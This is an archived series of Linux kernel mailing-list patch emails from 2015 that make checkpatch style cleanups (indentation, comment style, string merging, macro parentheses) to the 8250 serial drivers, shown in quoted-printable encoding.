Original-Received: by faui49man2 (sSMTP sendmail emulation); Fri, 18 Dec 2015 12:22:36 +0100
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1450437723-2978-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26214 gmane.linux.serial:21151 gmane.linux.kernel:2111560
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26214>

Checkpatch complains about incorrect indentation of switch/case stateme=
nts.
This patch fixes the corresponding warnings. Additionally some indentat=
ion
is changed to match the correct format specified in the Linux Kernel
Coding Style.

Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
CC: linux-kernel@i4.cs.fau.de

---
v2: Split patch
---
 drivers/tty/serial/8250/8250_pci.c  | 12 ++++++------
 drivers/tty/serial/8250/8250_pnp.c  |  4 ++--
 drivers/tty/serial/8250/8250_port.c | 12 ++++++------
 3 files changed, 14 insertions(+), 14 deletions(-)

diff --git a/drivers/tty/serial/8250/8250_pci.c b/drivers/tty/serial/82=
50/8250_pci.c
index 09157fa..b0b47f9 100644
--- a/drivers/tty/serial/8250/8250_pci.c
+++ b/drivers/tty/serial/8250/8250_pci.c
@@ -841,12 +841,12 @@ static int pci_netmos_init(struct pci_dev *dev)
 		return 0;
=20
 	switch (dev->device) { /* FALLTHROUGH on all */
-		case PCI_DEVICE_ID_NETMOS_9904:
-		case PCI_DEVICE_ID_NETMOS_9912:
-		case PCI_DEVICE_ID_NETMOS_9922:
-		case PCI_DEVICE_ID_NETMOS_9900:
-			num_serial =3D pci_netmos_9900_numports(dev);
-			break;
+	case PCI_DEVICE_ID_NETMOS_9904:
+	case PCI_DEVICE_ID_NETMOS_9912:
+	case PCI_DEVICE_ID_NETMOS_9922:
+	case PCI_DEVICE_ID_NETMOS_9900:
+		num_serial =3D pci_netmos_9900_numports(dev);
+		break;
=20
 		default:
 			if (num_serial =3D=3D 0) {
diff --git a/drivers/tty/serial/8250/8250_pnp.c b/drivers/tty/serial/82=
50/8250_pnp.c
index 1ed67e0..3811c67 100644
--- a/drivers/tty/serial/8250/8250_pnp.c
+++ b/drivers/tty/serial/8250/8250_pnp.c
@@ -427,8 +427,8 @@ static int check_resources(struct pnp_dev *dev)
 static int serial_pnp_guess_board(struct pnp_dev *dev)
 {
 	if (!(check_name(pnp_dev_name(dev)) ||
-		(dev->card && check_name(dev->card->name))))
-			return -ENODEV;
+	    (dev->card && check_name(dev->card->name))))
+		return -ENODEV;
=20
 	if (check_resources(dev))
 		return 0;
diff --git a/drivers/tty/serial/8250/8250_port.c b/drivers/tty/serial/8=
250/8250_port.c
index 343d050..5566c8e 100644
--- a/drivers/tty/serial/8250/8250_port.c
+++ b/drivers/tty/serial/8250/8250_port.c
@@ -2235,9 +2235,9 @@ static void serial8250_set_divisor(struct uart_po=
rt *port, unsigned int baud,
 		serial_port_out(port, 0x2, quot_frac);
 }
=20
-static unsigned int
-serial8250_get_baud_rate(struct uart_port *port, struct ktermios *term=
ios,
-			 struct ktermios *old)
+static unsigned int serial8250_get_baud_rate(struct uart_port *port,
+					     struct ktermios *termios,
+					     struct ktermios *old)
 {
 	unsigned int tolerance =3D port->uartclk / 100;
=20
@@ -2252,9 +2252,9 @@ serial8250_get_baud_rate(struct uart_port *port, =
struct ktermios *termios,
 				  (port->uartclk + tolerance) / 16);
 }
=20
-void
-serial8250_do_set_termios(struct uart_port *port, struct ktermios *ter=
mios,
-			  struct ktermios *old)
+void serial8250_do_set_termios(struct uart_port *port,
+			       struct ktermios *termios,
+			       struct ktermios *old)
 {
 	struct uart_8250_port *up =3D up_to_u8250p(port);
 	unsigned char cval;
--=20
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.kernel,gmane.linux.serial,gmane.linux.ports.parisc
Subject: [PATCH v2 09/11] tty: serial: 8250: Fix multi-line strings
Date: Fri, 18 Dec 2015 12:22:01 +0100
Lines: 53
Approved: news@gmane.org
Message-ID: <1450437723-2978-10-git-send-email-anton.wuerfel@fau.de>
References: <1450437723-2978-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1450437827 2726 80.91.229.3 (18 Dec 2015 11:23:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 18 Dec 2015 11:23:47 +0000 (UTC)
Cc: Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Peter Hurley <peter@hurleysoftware.com>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	Anton Wuerfel <anto
To: linux-serial@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Dec 18 12:23:38 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1a9t8H-0008AF-0Y
	for glk-linux-kernel-3@plane.gmane.org; Fri, 18 Dec 2015 12:23:33 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752822AbbLRLXX convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Fri, 18 Dec 2015 06:23:23 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:38955 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752697AbbLRLWg (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Fri, 18 Dec 2015 06:22:36 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id ABA3558C4EB;
	Fri, 18 Dec 2015 12:22:34 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Fri, 18 Dec 2015 12:22:34 +0100
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1450437723-2978-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2111561 gmane.linux.serial:21152 gmane.linux.ports.parisc:26215
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2111561>

Merged user-visible multi-line strings into a single line according to =
the
Linux Kernel Coding Style, which allows user-visible strings to exceed =
the
maximum line length of 80 characters. The main reason for this is to
facilitate grepping for these strings.
However, some strings were ignored in this patch, because the use of
format specifiers breaks the ability to grep anyway.

Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
CC: linux-kernel@i4.cs.fau.de
---
 drivers/tty/serial/8250/8250_core.c | 3 +--
 drivers/tty/serial/8250/serial_cs.c | 3 +--
 2 files changed, 2 insertions(+), 4 deletions(-)

diff --git a/drivers/tty/serial/8250/8250_core.c b/drivers/tty/serial/8=
250/8250_core.c
index d042ad5..b60b58b 100644
--- a/drivers/tty/serial/8250/8250_core.c
+++ b/drivers/tty/serial/8250/8250_core.c
@@ -1173,8 +1173,7 @@ MODULE_LICENSE("GPL");
 MODULE_DESCRIPTION("Generic 8250/16x50 serial driver");
=20
 module_param(share_irqs, uint, 0644);
-MODULE_PARM_DESC(share_irqs, "Share IRQs with other non-8250/16x50 dev=
ices"
-	" (unsafe)");
+MODULE_PARM_DESC(share_irqs, "Share IRQs with other non-8250/16x50 dev=
ices (unsafe)");
=20
 module_param(nr_uarts, uint, 0644);
 MODULE_PARM_DESC(nr_uarts, "Maximum number of UARTs supported. (1-" __=
MODULE_STRING(CONFIG_SERIAL_8250_NR_UARTS) ")");
diff --git a/drivers/tty/serial/8250/serial_cs.c b/drivers/tty/serial/8=
250/serial_cs.c
index 1f34867..1ab6bfc 100644
--- a/drivers/tty/serial/8250/serial_cs.c
+++ b/drivers/tty/serial/8250/serial_cs.c
@@ -533,8 +533,7 @@ static int multi_config(struct pcmcia_device *link)
 		info->multi =3D 2;
 		if (pcmcia_loop_config(link, multi_config_check_notpicky,
 				       &base2)) {
-			dev_warn(&link->dev, "no usable port range "
-			       "found, giving up\n");
+			dev_warn(&link->dev, "no usable port range found, giving up\n");
 			return -ENODEV;
 		}
 	}
--=20
1.9.1


From - Thu Nov 08 21:38:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.kernel,gmane.linux.serial,gmane.linux.ports.parisc
Subject: [PATCH v2 08/11] tty: serial: 8250: Add parentheses to macro
Date: Fri, 18 Dec 2015 12:22:00 +0100
Lines: 27
Approved: news@gmane.org
Message-ID: <1450437723-2978-9-git-send-email-anton.wuerfel@fau.de>
References: <1450437723-2978-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1450437860 3378 80.91.229.3 (18 Dec 2015 11:24:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 18 Dec 2015 11:24:20 +0000 (UTC)
Cc: Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Peter Hurley <peter@hurleysoftware.com>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	Anton Wuerfel <anto
To: linux-serial@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Dec 18 12:24:12 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1a9t8r-0000dN-6i
	for glk-linux-kernel-3@plane.gmane.org; Fri, 18 Dec 2015 12:24:09 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752871AbbLRLX7 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Fri, 18 Dec 2015 06:23:59 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:38993 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752657AbbLRLWf (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Fri, 18 Dec 2015 06:22:35 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id 7B1FA58C4EF;
	Fri, 18 Dec 2015 12:22:33 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Fri, 18 Dec 2015 12:22:33 +0100
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1450437723-2978-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2111563 gmane.linux.serial:21153 gmane.linux.ports.parisc:26216
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2111563>

This patch fixes a checkpatch warning caused by missing parentheses
in the definition of a macro.

Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
CC: linux-kernel@i4.cs.fau.de
---
 drivers/tty/serial/8250/8250_core.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/drivers/tty/serial/8250/8250_core.c b/drivers/tty/serial/8=
250/8250_core.c
index 15082ae..d042ad5 100644
--- a/drivers/tty/serial/8250/8250_core.c
+++ b/drivers/tty/serial/8250/8250_core.c
@@ -686,7 +686,7 @@ static int __init univ8250_console_init(void)
 }
 console_initcall(univ8250_console_init);
=20
-#define SERIAL8250_CONSOLE	&univ8250_console
+#define SERIAL8250_CONSOLE	(&univ8250_console)
 #else
 #define SERIAL8250_CONSOLE	NULL
 #endif
--=20
1.9.1


From - Thu Nov 08 21:38:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.kernel,gmane.linux.serial,gmane.linux.ports.parisc
Subject: [PATCH v2 04/11] tty: serial: 8250: Fix multiline comment style
Date: Fri, 18 Dec 2015 12:21:56 +0100
Lines: 189
Approved: news@gmane.org
Message-ID: <1450437723-2978-5-git-send-email-anton.wuerfel@fau.de>
References: <1450437723-2978-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1450437875 3510 80.91.229.3 (18 Dec 2015 11:24:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 18 Dec 2015 11:24:35 +0000 (UTC)
Cc: Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Peter Hurley <peter@hurleysoftware.com>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	Anton Wuerfel <anto
To: linux-serial@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Dec 18 12:24:31 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1a9t9A-0000uf-0D
	for glk-linux-kernel-3@plane.gmane.org; Fri, 18 Dec 2015 12:24:28 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752688AbbLRLWf convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Fri, 18 Dec 2015 06:22:35 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:38979 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752599AbbLRLWc (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Fri, 18 Dec 2015 06:22:32 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id 0352758C4DA;
	Fri, 18 Dec 2015 12:22:29 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Fri, 18 Dec 2015 12:22:28 +0100
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1450437723-2978-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2111564 gmane.linux.serial:21154 gmane.linux.ports.parisc:26217
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2111564>

Checkpatch outputs some warnings about incorrect comment style,
which is fixed by this patch.

Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
CC: linux-kernel@i4.cs.fau.de
---
v2: Changed to consistent comment style
---
 drivers/tty/serial/8250/8250_ingenic.c | 12 ++++++++----
 drivers/tty/serial/8250/8250_pnp.c     |  6 ++++--
 drivers/tty/serial/8250/8250_port.c    | 31 ++++++++++++++++----------=
-----
 drivers/tty/serial/8250/serial_cs.c    | 26 +++++++++++++++++---------
 4 files changed, 45 insertions(+), 30 deletions(-)

diff --git a/drivers/tty/serial/8250/8250_ingenic.c b/drivers/tty/seria=
l/8250/8250_ingenic.c
index 49394b4..086bd00 100644
--- a/drivers/tty/serial/8250/8250_ingenic.c
+++ b/drivers/tty/serial/8250/8250_ingenic.c
@@ -152,14 +152,18 @@ static void ingenic_uart_serial_out(struct uart_p=
ort *p, int offset, int value)
 		break;
=20
 	case UART_IER:
-		/* Enable receive timeout interrupt with the
-		 * receive line status interrupt */
+		/*
+		 * Enable receive timeout interrupt with the
+		 * receive line status interrupt
+		 */
 		value |=3D (value & 0x4) << 2;
 		break;
=20
 	case UART_MCR:
-		/* If we have enabled modem status IRQs we should enable modem
-		 * mode. */
+		/*
+		 * If we have enabled modem status IRQs we should enable modem
+		 * mode.
+		 */
 		ier =3D p->serial_in(p, UART_IER);
=20
 		if (ier & UART_IER_MSI)
diff --git a/drivers/tty/serial/8250/8250_pnp.c b/drivers/tty/serial/82=
50/8250_pnp.c
index 658b392..ffa7354 100644
--- a/drivers/tty/serial/8250/8250_pnp.c
+++ b/drivers/tty/serial/8250/8250_pnp.c
@@ -367,8 +367,10 @@ static const struct pnp_device_id pnp_dev_table[] =
=3D {
 	{	"PNPCXXX",		UNKNOWN_DEV	},
 	/* More unknown PnP modems */
 	{	"PNPDXXX",		UNKNOWN_DEV	},
-	/* Winbond CIR port, should not be probed. We should keep track
-	   of it to prevent the legacy serial driver from probing it */
+	/*
+	 * Winbond CIR port, should not be probed. We should keep track
+	 * of it to prevent the legacy serial driver from probing it
+	 */
 	{	"WEC1022",		CIR_PORT	},
 	/*
 	 * SMSC IrCC SIR/FIR port, should not be probed by serial driver
diff --git a/drivers/tty/serial/8250/8250_port.c b/drivers/tty/serial/8=
250/8250_port.c
index f2e588e..99f709c 100644
--- a/drivers/tty/serial/8250/8250_port.c
+++ b/drivers/tty/serial/8250/8250_port.c
@@ -250,9 +250,11 @@ static const struct serial8250_config uart_config[=
] =3D {
 		.fcr		=3D UART_FCR_ENABLE_FIFO | UART_FCR_R_TRIG_10,
 		.flags		=3D UART_CAP_FIFO | UART_CAP_AFE,
 	},
-/* tx_loadsz is set to 63-bytes instead of 64-bytes to implement
-workaround of errata A-008006 which states that tx_loadsz should  be
-configured less than Maximum supported fifo bytes */
+	/*
+	 * tx_loadsz is set to 63-bytes instead of 64-bytes to implement
+	 * workaround of errata A-008006 which states that tx_loadsz should b=
e
+	 * configured less than Maximum supported fifo bytes
+	 */
 	[PORT_16550A_FSL64] =3D {
 		.name		=3D "16550A_FSL64",
 		.fifo_size	=3D 64,
@@ -1969,23 +1971,22 @@ int serial8250_do_startup(struct uart_port *por=
t)
=20
 	serial8250_set_mctrl(port, port->mctrl);
=20
-	/* Serial over Lan (SoL) hack:
-	   Intel 8257x Gigabit ethernet chips have a
-	   16550 emulation, to be used for Serial Over Lan.
-	   Those chips take a longer time than a normal
-	   serial device to signalize that a transmission
-	   data was queued. Due to that, the above test generally
-	   fails. One solution would be to delay the reading of
-	   iir. However, this is not reliable, since the timeout
-	   is variable. So, let's just don't test if we receive
-	   TX irq. This way, we'll never enable UART_BUG_TXEN.
+	/*
+	 * Serial over Lan (SoL) hack:
+	 * Intel 8257x Gigabit ethernet chips have a 16550 emulation, to be u=
sed
+	 * for Serial Over Lan.  Those chips take a longer time than a normal
+	 * serial device to signalize that a transmission data was queued. Du=
e
+	 * to that, the above test generally fails. One solution would be to
+	 * delay the reading of iir. However, this is not reliable, since the
+	 * timeout is variable. So, let's just don't test if we receive TX ir=
q.
+	 * This way, we'll never enable UART_BUG_TXEN.
 	 */
 	if (up->port.flags & UPF_NO_TXEN_TEST)
 		goto dont_test_tx_en;
=20
 	/*
-	 * Do a quick test to see if we receive an
-	 * interrupt when we enable the TX irq.
+	 * Do a quick test to see if we receive an interrupt when we enable t=
he
+	 * TX irq.
 	 */
 	serial_port_out(port, UART_IER, UART_IER_THRI);
 	lsr =3D serial_port_in(port, UART_LSR);
diff --git a/drivers/tty/serial/8250/serial_cs.c b/drivers/tty/serial/8=
250/serial_cs.c
index 6d7a801..1f34867 100644
--- a/drivers/tty/serial/8250/serial_cs.c
+++ b/drivers/tty/serial/8250/serial_cs.c
@@ -441,16 +441,20 @@ static int simple_config(struct pcmcia_device *li=
nk)
 	struct serial_info *info =3D link->priv;
 	int i =3D -ENODEV, try;
=20
-	/* First pass: look for a config entry that looks normal.
-	 * Two tries: without IO aliases, then with aliases */
+	/*
+	 * First pass: look for a config entry that looks normal.
+	 * Two tries: without IO aliases, then with aliases
+	 */
 	link->config_flags |=3D CONF_AUTO_SET_VPP;
 	for (try =3D 0; try < 4; try++)
 		if (!pcmcia_loop_config(link, simple_config_check, &try))
 			goto found_port;
=20
-	/* Second pass: try to find an entry that isn't picky about
-	   its base address, then try to grab any standard serial port
-	   address, and finally try to get any free port. */
+	/*
+	 * Second pass: try to find an entry that isn't picky about
+	 * its base address, then try to grab any standard serial port
+	 * address, and finally try to get any free port.
+	 */
 	if (!pcmcia_loop_config(link, simple_config_check_notpicky, NULL))
 		goto found_port;
=20
@@ -480,8 +484,10 @@ static int multi_config_check(struct pcmcia_device=
 *p_dev, void *priv_data)
 	if (p_dev->resource[1]->end)
 		return -EINVAL;
=20
-	/* The quad port cards have bad CIS's, so just look for a
-	   window larger than 8 ports and assume it will be right */
+	/*
+	 * The quad port cards have bad CIS's, so just look for a
+	 * window larger than 8 ports and assume it will be right
+	 */
 	if (p_dev->resource[0]->end <=3D 8)
 		return -EINVAL;
=20
@@ -623,8 +629,10 @@ static int serial_config(struct pcmcia_device *lin=
k)
 			break;
 		}
=20
-	/* Another check for dual-serial cards: look for either serial or
-	   multifunction cards that ask for appropriate IO port ranges */
+	/*
+	 * Another check for dual-serial cards: look for either serial or
+	 * multifunction cards that ask for appropriate IO port ranges
+	 */
 	if ((info->multi =3D=3D 0) &&
 	    (link->has_func_id) &&
 	    (link->socket->pcmcia_pfc =3D=3D 0) &&
--=20
1.9.1


From - Thu Nov 08 21:38:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.kernel,gmane.linux.serial,gmane.linux.ports.parisc
Subject: [PATCH v2 07/11] tty: serial: 8250: Fix line continuation warning
Date: Fri, 18 Dec 2015 12:21:59 +0100
Lines: 29
Approved: news@gmane.org
Message-ID: <1450437723-2978-8-git-send-email-anton.wuerfel@fau.de>
References: <1450437723-2978-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1450437899 4017 80.91.229.3 (18 Dec 2015 11:24:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 18 Dec 2015 11:24:59 +0000 (UTC)
Cc: Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Peter Hurley <peter@hurleysoftware.com>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	Anton Wuerfel <anto
To: linux-serial@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Dec 18 12:24:45 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1a9t9L-00019N-J5
	for glk-linux-kernel-3@plane.gmane.org; Fri, 18 Dec 2015 12:24:39 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752879AbbLRLYa convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Fri, 18 Dec 2015 06:24:30 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:38979 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752631AbbLRLWe (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Fri, 18 Dec 2015 06:22:34 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id 6173058C4DD;
	Fri, 18 Dec 2015 12:22:32 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Fri, 18 Dec 2015 12:22:32 +0100
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1450437723-2978-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2111565 gmane.linux.serial:21155 gmane.linux.ports.parisc:26218
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2111565>

=46ixed checkpatch warning about an unnecessary line continuation in a
multi-line variable assignment.

Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
